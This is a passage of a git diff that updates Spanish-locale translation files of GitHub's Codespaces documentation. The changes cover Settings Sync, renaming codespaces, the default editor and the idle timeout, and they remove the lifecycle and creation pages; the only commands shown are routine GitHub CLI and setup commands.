settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_github_codespaces %} allows for two main ways of personalizing your codespaces. -- [Settings Sync](#settings-sync) - You can use and share {% data variables.product.prodname_vscode %} settings between {% data variables.product.prodname_github_codespaces %} and other instances of {% data variables.product.prodname_vscode %}. +- [Settings Sync](#settings-sync) - You can synchronize your {% data variables.product.prodname_vscode %} settings between the desktop application and the {% data variables.product.prodname_vscode_shortname %} web client. - [Dotfiles](#dotfiles) – You can use a `dotfiles` repository to specify scripts, shell preferences, and other configurations. {% data variables.product.prodname_github_codespaces %} personalization applies to any codespace you create. @@ -32,13 +31,13 @@ Project maintainers can also define a default configuration that applies to ever ## Settings Sync -Settings Sync allows you to share configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode %}. +Settings Sync allows you to synchronize configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode_shortname %}. -To enable Settings Sync, in the bottom-left corner of the Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync. +To enable Settings Sync, in the bottom-left corner of {% data variables.product.prodname_vscode %}'s Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. In the dialog box, select the settings you'd like to sync. ![Setting Sync option in manage menu](/assets/images/help/codespaces/codespaces-manage-settings-sync.png) -For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode %} documentation. +For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode_shortname %} documentation. ## Dotfiles @@ -65,7 +64,7 @@ Any changes to your selected dotfiles repository will apply only to each new cod {% note %} -**Note:** Currently, {% data variables.product.prodname_github_codespaces %} does not support personalizing the _User_ settings for the {% data variables.product.prodname_vscode %} editor with your `dotfiles` repository. You can set default _Workspace_ and _Remote [Codespaces]_ settings for a specific project in the project's repository. For more information, see "[Introduction to dev containers](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)." +**Note:** Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the User-scoped settings for {% data variables.product.prodname_vscode_shortname %} with your `dotfiles` repository. You can set default Workspace and Remote [Codespaces] settings for a specific project in the project's repository. For more information, see "[Introduction to dev containers](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)." {% endnote %} @@ -96,10 +95,11 @@ You can also personalize {% data variables.product.prodname_github_codespaces %} - To enable GPG verification, see "[Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces)." - To set your editor, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)." -- To set how long a codespace can remain unused before it is automatically stopped, see "[Setting your timeout period for GitHub Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)." +- To set how long a codespace can remain unused before it is automatically stopped, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)." - To set the period for which your unused codespaces are retained, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)." - To set your default region, see "[Setting your default region for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces)." ## Further reading * "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)" +* "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive#personalizing-your-codespace-with-extensions-or-plugins)" \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/renaming-a-codespace.md b/translations/es-ES/content/codespaces/customizing-your-codespace/renaming-a-codespace.md index c9457b8bfd..04b0d5b52f 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/renaming-a-codespace.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/renaming-a-codespace.md @@ -1,7 +1,6 @@ --- -title: Cambio del nombre de un codespace -intro: 'Puedes usar {% data variables.product.prodname_cli %} para cambiar el nombre para mostrar del codespace a uno de los que prefieras.' -product: '{% data reusables.gated-features.codespaces %}' +title: Renaming a codespace +intro: 'You can change the codespace display name to one of your choice through {% data variables.product.prodname_dotcom_the_website %} or the {% data variables.product.prodname_cli %}.' versions: fpt: '*' ghec: '*' @@ -11,53 +10,69 @@ topics: - Fundamentals - Developer shortTitle: Rename a codespace -ms.openlocfilehash: 58e5e9584df07e8e6abba3f1cfac5d0b3234c01a -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148107089' --- -## Acerca del cambio del nombre de un codespace -A cada codespace se le asigna un nombre para mostrar generado automáticamente. Si tienes varios codespaces, el nombre para mostrar te ayuda a diferenciar entre ellos. Por ejemplo: `literate space parakeet`. Puedes cambiar el nombre para mostrar del codespace. +## About renaming a codespace -Para encontrar el nombre para mostrar de un codespace: +Each codespace is assigned an auto-generated display name. If you have multiple codespaces, the display name helps you to differentiate between codespaces. For example: `literate space parakeet`. You can change the display name for your codespace. -- En {% data variables.product.product_name %}, consulta la lista de codespaces en https://github.com/codespaces. +To find the display name of a codespace: - ![Captura de pantalla de la lista de codespaces en GitHub](/assets/images/help/codespaces/codespaces-list-display-name.png) +- On {% data variables.product.product_name %}, view your list of codespaces at https://github.com/codespaces. -- En la aplicación de escritorio {% data variables.product.prodname_vscode %} o el cliente web {% data variables.product.prodname_vscode_shortname %}, haz clic en el Explorador remoto. El nombre para mostrar se muestra debajo del nombre del repositorio. Por ejemplo: `symmetrical space telegram` en la captura de pantalla siguiente. + ![Screenshot of the list of codespaces in GitHub](/assets/images/help/codespaces/codespaces-list-display-name.png) - ![Captura de pantalla del Explorador remoto en VS Code](/assets/images/help/codespaces/codespaces-remote-explorer.png) +- In the {% data variables.product.prodname_vscode %} desktop application, or the {% data variables.product.prodname_vscode_shortname %} web client, click the Remote Explorer. The display name is the second item in the list. For example: `symmetrical space telegram` in the screenshot below. + + ![Screenshot of the Remote Explorer in VS Code](/assets/images/help/codespaces/codespaces-remote-explorer.png) {% indented_data_reference reusables.codespaces.remote-explorer spaces=2 %} -- En una ventana de terminal de la máquina local, usa este comando de {% data variables.product.prodname_cli %}: `gh codespace list`. +- In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`. -### Nombres permanentes de codespace +### Permanent codespace names -Además del nombre para mostrar, al crear un codespace, también se le asigna un nombre permanente. El nombre es una combinación de tu identificador de {% data variables.product.company_short %}, el nombre del repositorio y algunos caracteres aleatorios. Por ejemplo: `octocat-myrepo-gmc7`. No se puede cambiar este nombre. +In addition to the display name, when you create a codespace, a permanent name is also assigned to the codespace. The name is a combination of your {% data variables.product.company_short %} handle, and the auto-generated display name. For example: `octocat-literate-space-parakeet-mld5`. You can't change the permanent name. -Para encontrar el nombre de un codespace: +To find the permanent name of a codespace: -* En {% data variables.product.product_name %}, el nombre permanente se muestra en un elemento emergente al mantener el puntero sobre la opción **Abrir en el explorador** en https://github.com/codespaces. +* On {% data variables.product.product_name %}, the permanent name is shown in a pop-up when you hover over the display name of a codespace on https://github.com/codespaces. - ![Captura de pantalla del nombre del codespace que se muestra al mantener el puntero](/assets/images/help/codespaces/find-codespace-name-github.png) + ![Screenshot of the codespace name shown on hover over](/assets/images/help/codespaces/find-codespace-name-github.png) -* En un codespace, use este comando en el terminal: `echo $CODESPACE_NAME`. -* En una ventana de terminal de la máquina local, usa este comando de {% data variables.product.prodname_cli %}: `gh codespace list`. +* In a codespace, use this command in the terminal: `echo $CODESPACE_NAME`. +* In a terminal window on your local machine, use this {% data variables.product.prodname_cli %} command: `gh codespace list`. -## Cambio del nombre de un codespace +## Renaming a codespace -Cambiar el nombre para mostrar de un codespace puede ser útil si tienes varios codespaces que vas a usar durante un período prolongado. Un nombre adecuado te ayuda a identificar un codespace que se usa para un propósito determinado. Puedes cambiar el nombre para mostrar de tu codespace mediante {% data variables.product.prodname_cli %}. +Changing the display name of a codespace can be useful if you have multiple codespaces that you will be using for an extended period. An appropriate name helps you identify a codespace that you use for a particular purpose. -Para cambiar el nombre de un codespace, usa el subcomando `gh codespace edit`: +{% cli %} + +You can change the display name for your codespace by using the {% data variables.product.prodname_cli %}. + +To rename a codespace, use the `gh codespace edit` subcommand: ```shell gh codespace edit -c PERMANENT-CODESPACE-NAME -d NEW-DISPLAY-NAME ``` -En este ejemplo, reemplaza `PERMANENT-CODESPACE-NAME` por el nombre permanente del codespace cuyo nombre para mostrar quieres cambiar. Reemplaza `NEW-DISPLAY-NAME` por el nombre para mostrar que quieres usar para este codespace. +In this example, replace `PERMANENT-CODESPACE-NAME` with the permanent name of the codespace whose display name you want to change. Replace `NEW-DISPLAY-NAME` with the display name you want to use for this codespace. -Para obtener más información, consulta "[Uso de {% data variables.product.prodname_github_codespaces %} con la {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace)". +For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#rename-a-codespace)." + +{% endcli %} + +{% webui %} + +You can change the display name for your codespace on {% data variables.product.prodname_dotcom_the_website %}. + +{% data reusables.codespaces.your-codespaces-procedure-step %} + + The current display name for each of your codespaces is displayed. + +{% data reusables.codespaces.ellipsis-settings %} +1. Click **Rename**. + +1. In the prompt, under "Change display name to..." type your desired display name and click **OK**. + +{% endwebui %} \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md index 2bccae239b..ad415c4536 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces.md @@ -2,7 +2,6 @@ title: Setting your default editor for GitHub Codespaces shortTitle: Set the default editor intro: '{% data reusables.codespaces.about-changing-default-editor %}' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -14,15 +13,38 @@ topics: type: how_to --- -On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application. +On the settings page, you can set your editor preference so that when you create a codespace, or open an existing codespace, it is opened in your choice of: +* {% data variables.product.prodname_vscode %} (desktop application) +* {% data variables.product.prodname_vscode %} (web client application) +* JetBrains Gateway - for opening codespaces in a JetBrains IDE +* JupyterLab - the web interface for Project Jupyter + +{% data reusables.codespaces.template-codespaces-default-editor %} If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_github_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). +If you want to work on a codespace in a JetBrains IDE you must install the JetBrains Gateway. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)." + ## Setting your default editor {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.codespaces-tab %} 1. Under "Editor preference", select the option you want. + ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png) - If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully. - ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png) + + * {% data reusables.codespaces.application-installed-locally %}

+ + * If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_github_codespaces %} will automatically open in the desktop application when you next create or open a codespace. + + You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.

+ + * If you choose **JetBrains Gateway**, the Gateway application will automatically open when you next create or open a codespace. + + The first time you open a codespace this way you must give permission to open the application. + + The Gateway application will open and the codespace will then be automatically selected. You can then choose a JetBrains IDE, if you have not previously done so, and click **Connect** to open the codespace in the JetBrains client. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)." + + To connect to a codespace from the Gateway application, you must have an SSH server running on the codespace. {% indented_data_reference reusables.codespaces.ssh-server-installed spaces=5 %} + + * If you choose **JupyterLab**, the JupyterLab application must be installed in the codespaces you open. {% data reusables.codespaces.jupyterlab-in-default-image %} diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md index dde7e31a25..e7cc892b45 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces.md @@ -2,7 +2,6 @@ title: Configuración de la región predeterminada para GitHub Codespaces shortTitle: Set the default region intro: 'Pues configurar tu región predeterminada en la página de ajustes de perfil de {% data variables.product.prodname_github_codespaces %} para personalizar en donde se guardan tus datos.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -12,12 +11,12 @@ redirect_from: topics: - Codespaces type: how_to -ms.openlocfilehash: bf658cadc1237ce0266f3b44f506446054fc3082 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 4450c284d9012060267c2207c2a774a342669caa +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147111664' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160004' --- Puedes seleccionar manualmente la región en la que se crearán tus codespaces, permitiéndote cumplir con los requisitos de cumplimiento y seguridad estrictos. Predeterminadamente, tu región se configura automáticamente con base en tu ubicación. diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md index d32cffd8aa..ab0e7be5ee 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces.md @@ -2,7 +2,6 @@ title: Setting your timeout period for GitHub Codespaces shortTitle: Set the timeout intro: 'You can set your default timeout for {% data variables.product.prodname_github_codespaces %} in your personal settings page.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -13,16 +12,20 @@ redirect_from: - /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces --- -A codespace will stop running after a period of inactivity. You can specify the length of this timeout period. The updated setting will apply to any newly created codespace. +## About the idle timeout -Some organizations may have a maximum idle timeout policy. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting, and you will be notified of this after the codespace is created. For more information, see "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)." +A codespace will stop running after a period of inactivity. By default this period is 30 minutes, but you can specify a longer or shorter default timeout period in your personal settings on {% data variables.product.prodname_dotcom %}. The updated setting will apply to any new codespaces you create, or to existing codespaces the next time you start them. You can also specify a timeout when you use {% data variables.product.prodname_cli %} to create a codespace. {% warning %} -**Warning**: Codespaces are billed per minute. If you are not actively using a codespace but the codespace has not yet timed out, you are still billed for the time that the codespace is running. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)." +**Warning**: Codespaces compute usage is billed for the duration for which a codespace is active. If you're not using a codespace but it remains running, and hasn't yet timed out, you are billed for the total time that the codespace was active, irrespective of whether you were using it. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)." {% endwarning %} +### Timeout periods for organization-owned repositories + +Organizations can set a maximum idle timeout policy for codespaces created from some or all of their repositories. If an organization policy sets a maximum timeout which is less than the default timeout you have set, the organization's timeout will be used instead of your setting. You will be notified of this after the codespace is created. For more information, see "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)." + {% webui %} ## Setting your default timeout period diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md b/translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md deleted file mode 100644 index 16b6cd571d..0000000000 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Codespaces lifecycle -intro: 'You can develop in a {% data variables.product.prodname_github_codespaces %} environment and maintain your data throughout the entire codespace lifecycle.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Codespaces - - Developer -product: '{% data reusables.gated-features.codespaces %}' ---- - -## About the lifecycle of a codespace - -The lifecycle of a codespace begins when you create a codespace and ends when you delete it. You can disconnect and reconnect to an active codespace without affecting its running processes. You may stop and restart a codespace without losing changes that you have made to your project. - -## Creating a codespace - -When you want to work on a project, you can choose to create a new codespace or open an existing codespace. You might want to create a new codespace from a branch of your project each time you develop in {% data variables.product.prodname_github_codespaces %} or keep a long-running codespace for a feature. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." - -{% data reusables.codespaces.max-number-codespaces %} Similarly, if you reach the maximum number of active codespaces and you try to start another, you are prompted to stop one of your active codespaces. - -If you choose to create a new codespace each time you work on a project, you should regularly push your changes so that any new commits are on {% data variables.product.prodname_dotcom %}. If you choose to use a long-running codespace for your project, you should pull from your repository's default branch each time you start working in your codespace so that your environment has the latest commits. This workflow is very similar to if you were working with a project on your local machine. - -{% data reusables.codespaces.prebuilds-crossreference %} - -## Saving changes in a codespace - -When you connect to a codespace through the web, auto-save is enabled automatically for the web editor and configured to save changes after a delay. When you connect to a codespace through {% data variables.product.prodname_vscode %} running on your desktop, you must enable auto-save. For more information, see [Save/Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) in the {% data variables.product.prodname_vscode %} documentation. - -If you want to save your changes in the git repository on the codespace's file system, commit them and push them to a remote branch. - -If you have unsaved changes, your editor will prompt you to save them before exiting. - -## Codespaces timeouts - -If you leave your codespace running without interaction, or if you exit your codespace without explicitly stopping it, the codespace will timeout after a period of inactivity and stop running. By default, a codespace will timeout after 30 minutes of inactivity, but you can customize the duration of the timeout period for new codespaces that you create. For more information about setting the default timeout period for your codespaces, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)." For more information about stopping a codespace, see "[Stopping a codespace](#stopping-a-codespace)." - -When a codespace times out, your data is preserved from the last time your changes were saved. For more information, see "[Saving changes in a codespace](#saving-changes-in-a-codespace)." - -## Rebuilding a codespace - -You can rebuild your codespace to restore a clean state as if you had created a new codespace. For most uses, you can create a new codespace as an alternative to rebuilding a codespace. You are most likely to rebuild a codespace to implement changes to your dev container. When you rebuild a codespace, any Docker containers, images, volumes, and caches are cleaned, then the codespace is rebuilt. - -If you need any of this data to persist over a rebuild, you can create, at the desired location in the container, a symbolic link (symlink) to the persistent directory. For example, in your `.devcontainer` directory, you can create a `config` directory that will be preserved across a rebuild. You can then symlink the `config` directory and its contents as a `postCreateCommand` in your `devcontainer.json` file. - -```json -{ - "image": "mcr.microsoft.com/vscode/devcontainers/base:alpine", - "postCreateCommand": ".devcontainer/postCreate.sh" -} -``` - -In the example `postCreate.sh` file below, the contents of the `config` directory are symbolically linked to the home directory. - -```bash -#!/bin/bash -ln -sf $PWD/.devcontainer/config $HOME/config && set +x -``` - -For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)." - -## Stopping a codespace - -{% data reusables.codespaces.stopping-a-codespace %} For more information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." - -## Deleting a codespace - -You can create a codespace for a particular task and then safely delete the codespace after you push your changes to a remote branch. - -If you try to delete a codespace with unpushed git commits, your editor will notify you that you have changes that have not been pushed to a remote branch. You can push any desired changes and then delete your codespace, or continue to delete your codespace and any uncommitted changes. You can also export your code to a new branch without creating a new codespace. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)." - -Codespaces that have been stopped and remain inactive for a specified period of time will be deleted automatically. By default, inactive codespaces are deleted after 30 days, but you can customize your codespace retention period. For more information, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)." - -If you create a codespace, it will continue to accrue storage charges until it is deleted, irrespective of whether it is active or stopped. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#billing-for-storage-usage)." Deleting a codespace does not reduce the current billable amount for {% data variables.product.prodname_github_codespaces %}, which accumulates during each monthly billing cycle. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)." - -For more information on deleting a codespace, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)." - -## Losing the connection while using Codespaces - -{% data variables.product.prodname_github_codespaces %} is a cloud-based development environment and requires an internet connection. If you lose connection to the internet while working in a codespace, you will not be able to access your codespace. However, any uncommitted changes will be saved. When you have access to an internet connection again, you can connect to your codespace in the exact same state that it was left in. If you have an unstable internet connection, you should commit and push your changes often. - -If you know that you will often be working offline, you can use your `devcontainer.json` file with the ["Dev Containers" extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) for {% data variables.product.prodname_vscode_shortname %} to build and attach to a local development container for your repository. For more information, see [Developing inside a container](https://code.visualstudio.com/docs/remote/containers) in the {% data variables.product.prodname_vscode %} documentation. diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md b/translations/es-ES/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md index 401fd7a9a7..bdaddaa45e 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md @@ -1,7 +1,6 @@ --- title: Connecting to a private network intro: 'You can connect {% data variables.product.prodname_github_codespaces %} to resources on a private network, including package registries, license servers, and on-premises databases.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -39,7 +38,7 @@ The {% data variables.product.prodname_cli %} extension allows you to create a b As an alternative to the {% data variables.product.prodname_cli %} extension, you can use a VPN to access resources behind a private network from within your codespace. -We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from GitHub Codespaces](https://github.com/codespaces-contrib/codespaces-openvpn)." +We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from {% data variables.product.prodname_github_codespaces %}](https://github.com/codespaces-contrib/codespaces-openvpn)." There are also a number of third party solutions that, while not explicitly endorsed by {% data variables.product.prodname_dotcom %}, have provided examples of how to integrate with {% data variables.product.prodname_github_codespaces %}. diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md deleted file mode 100644 index f0e477786b..0000000000 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/creating-a-codespace.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Creating a codespace -intro: You can create a codespace for a branch in a repository to develop online. -product: '{% data reusables.gated-features.codespaces %}' -redirect_from: - - /github/developing-online-with-github-codespaces/creating-a-codespace - - /github/developing-online-with-codespaces/creating-a-codespace -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Fundamentals - - Developer -shortTitle: Create a codespace ---- - -## About codespace creation - -You can create a codespace on {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %} - -Codespaces are associated with a specific branch of a repository and the repository cannot be empty. You can create more than one codespace per repository or even per branch. - -When you create a codespace, a number of steps happen to create and connect you to your development environment: - -- Step 1: VM and storage are assigned to your codespace. -- Step 2: Container is created and your repository is cloned. -- Step 3: You can connect to the codespace. -- Step 4: Codespace continues with post-creation setup. - -For more information on what happens when you create a codespace, see "[Deep Dive](/codespaces/getting-started/deep-dive)." - -For more information on the lifecycle of a codespace, see "[Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)." - -If you want to use Git hooks for your codespace, then you should set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`, during step 4. Since your codespace container is created after the repository is cloned, any [git template directory](https://git-scm.com/docs/git-init#_template_directory) configured in the container image will not apply to your codespace. Hooks must instead be installed after the codespace is created. For more information on using `postCreateCommand`, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -{% data reusables.codespaces.use-visual-studio-features %} - -{% data reusables.codespaces.you-can-see-all-your-codespaces %} - -{% data reusables.codespaces.prebuilds-crossreference %} - -## Access to {% data variables.product.prodname_github_codespaces %} - -When you have access to {% data variables.product.prodname_github_codespaces %}, you'll see a "Codespaces" tab within the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu when you view a repository. - -You'll have access to {% data variables.product.prodname_github_codespaces %} under the following conditions: - -Either all of these are true: -* You are a member, or outside collaborator, of an organization that has enabled {% data variables.product.prodname_codespaces %} and set a spending limit. -* The organization owner has allowed you to create codespaces at the organization's expense. -* The repository for which you want to create a codespace is owned by this organization. - -Or both of these are true: -* You are participating in the beta of {% data variables.product.prodname_codespaces %} for individual users. -* Either you own the repository for which you want to create a codespace, or it is owned by an organization of which you are either a member or an outside collaborator. - -Before {% data variables.product.prodname_codespaces %} can be used in an organization, an owner or billing manager must have set a spending limit. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces#about-spending-limits-for-codespaces)." - -Organization owners can specify who can create and use codespaces at the organization's expense. Organization owners can also prevent any codespace usage being charged to the organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." - -## Creating a codespace - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -1. Under the repository name, use the "Branch" drop-down menu, and select the branch you want to create a codespace for. - - ![Branch drop-down menu](/assets/images/help/codespaces/branch-drop-down.png) - -1. Click the **{% octicon "code" aria-label="The code icon" %} Code** button, then click the **Codespaces** tab. - - ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) - - If codespaces for this repository are billable, a message is displayed below the **Create codespace on BRANCH** button telling you who will pay for the codespace. - -1. Create your codespace, either using the default options, or after configuring advanced options: - - * **Use the default options** - - To create a codespace using the default options, click **Create codespace on BRANCH**. - - Optionally, before clicking **Create codespace on BRANCH**, you can click the down arrow at the side of the button to see what machine type will be used for your codespace. - - ![View the default machine type](/assets/images/help/codespaces/default-machine-type.png) - - {% note %} - - **Note**: The machine type with the lowest resources that are valid for the repository is selected by default. - - {% endnote %} - - * **Configure options** - - To configure advanced options for your codespace, such as a different machine type or a particular `devcontainer.json` file: - - 1. Click the down arrow at the side of the **Create codespace on BRANCH** button, then click **Configure and create codespace**. - 1. Click the **Configure and create codespace** button. - 1. On the options page for your codespace, choose your preferred options from the drop-down menus. - - ![The codespace options page](/assets/images/help/codespaces/advanced-options.png) - - {% note %} - - **Notes** - - * You can bookmark the options page to give you a quick way to create a codespace for this repository and branch. - * The [https://github.com/codespaces/new](https://github.com/codespaces/new) page provides a quick way to create a codespace for any repository and branch. You can get to this page quickly by typing `codespace.new` into your browser's address bar. - * For more information about the `devcontainer.json` file, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)." - * For more information about machine types, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)." - * {% data reusables.codespaces.codespaces-machine-type-availability %} - - {% endnote %} - - 1. Click **Start session**. - -{% endwebui %} - -{% vscode %} - -{% data reusables.codespaces.creating-a-codespace-in-vscode %} - -{% endvscode %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To create a new codespace, use the `gh codespace create` subcommand. - -```shell -gh codespace create -``` - -You are prompted to choose a repository. If codespaces for this repository are billable, a message is displayed telling you who will pay for the codespace. You are then prompted to choose a branch, a 